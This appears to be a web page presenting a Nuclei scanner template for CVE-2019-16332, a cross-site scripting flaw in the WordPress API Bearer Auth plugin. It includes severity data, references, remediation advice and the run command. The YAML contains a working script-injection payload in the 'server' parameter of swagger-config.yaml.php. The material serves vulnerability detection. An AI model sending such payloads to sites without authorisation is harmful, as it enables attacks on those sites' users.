WordPress API Bearer Auth <20190907 - Cross-Site Scripting

ID: CVE-2019-16332

Severity: medium

Author: daffainfo

Tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,auth,api_bearer_auth_project

Description

WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.

YAML Source

id: CVE-2019-16332

info:
  name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2152730
    - https://wordpress.org/plugins/api-bearer-auth/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16332
    - https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/9868
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16332
    cwe-id: CWE-79
    epss-score: 0.00303
    epss-percentile: 0.69049
    cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "api_bearer_auth_project"
    product: "api_bearer_auth"
    framework: wordpress
  tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,auth,api_bearer_auth_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/api-bearer-auth/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203c8dcfb7cbc8a2829ba9262671063e0da5941194bd83a3d957f1bd66325ed0ba022100fde070baf96c9e318cb248208c3533f40f74ec550b9ccdfed6f4cdec5ed416ef:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16332.yaml"

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